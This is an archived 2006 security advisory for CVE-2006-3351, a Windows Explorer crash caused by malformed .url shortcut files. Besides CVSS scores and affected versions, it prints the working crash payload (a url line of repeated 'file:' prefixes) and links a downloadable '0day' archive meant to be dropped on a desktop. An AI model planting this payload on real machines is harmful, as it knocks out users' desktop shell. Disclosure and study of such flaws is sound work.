Windows Explorer URL File format overflow

2006.07.06

Credit: nanika chroot org

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2006-3351

CWE: CWE-Other

CVSS Base Score: 5.4/10

Impact Subscore: 6.9/10

Exploitability Subscore: 4.9/10

Exploit range: Remote

Attack complexity: High

Authentication: No required

Confidentiality impact: None

Integrity impact: None

Availability impact: Complete

Windows Explorer URL File format overflow
Affected Vendor:
Microsoft
Affected Products:
WindowsXP ALL
Windows2003 ALL
Vulnerability Details:
When explorer.exe parsing *.url file which contains a url as follows format will cause explorer.exe crash.
if you create the Exploit.url on Desktop
Explorer will Crash...Crash...Crash...Crash...Crash...Crash...
if you will del exploit.url
open taskmgr.exe
open cmd.exe
then cd your desktop
del exploit.url
Exploit:
[InternetShortcut]
url=file:file:file:file:file:file:file:file:file:file:file:file:file:fil
e:file:file:file:file:file:file:file:file:file:file:file:file:file:file:
Attachment:
http://hitcon.org/Nanika-desktop_explore_0day.rar
you can drop in desktop :P
http://hitcon.org
http://www.chroot.org

See this note in RAW Version

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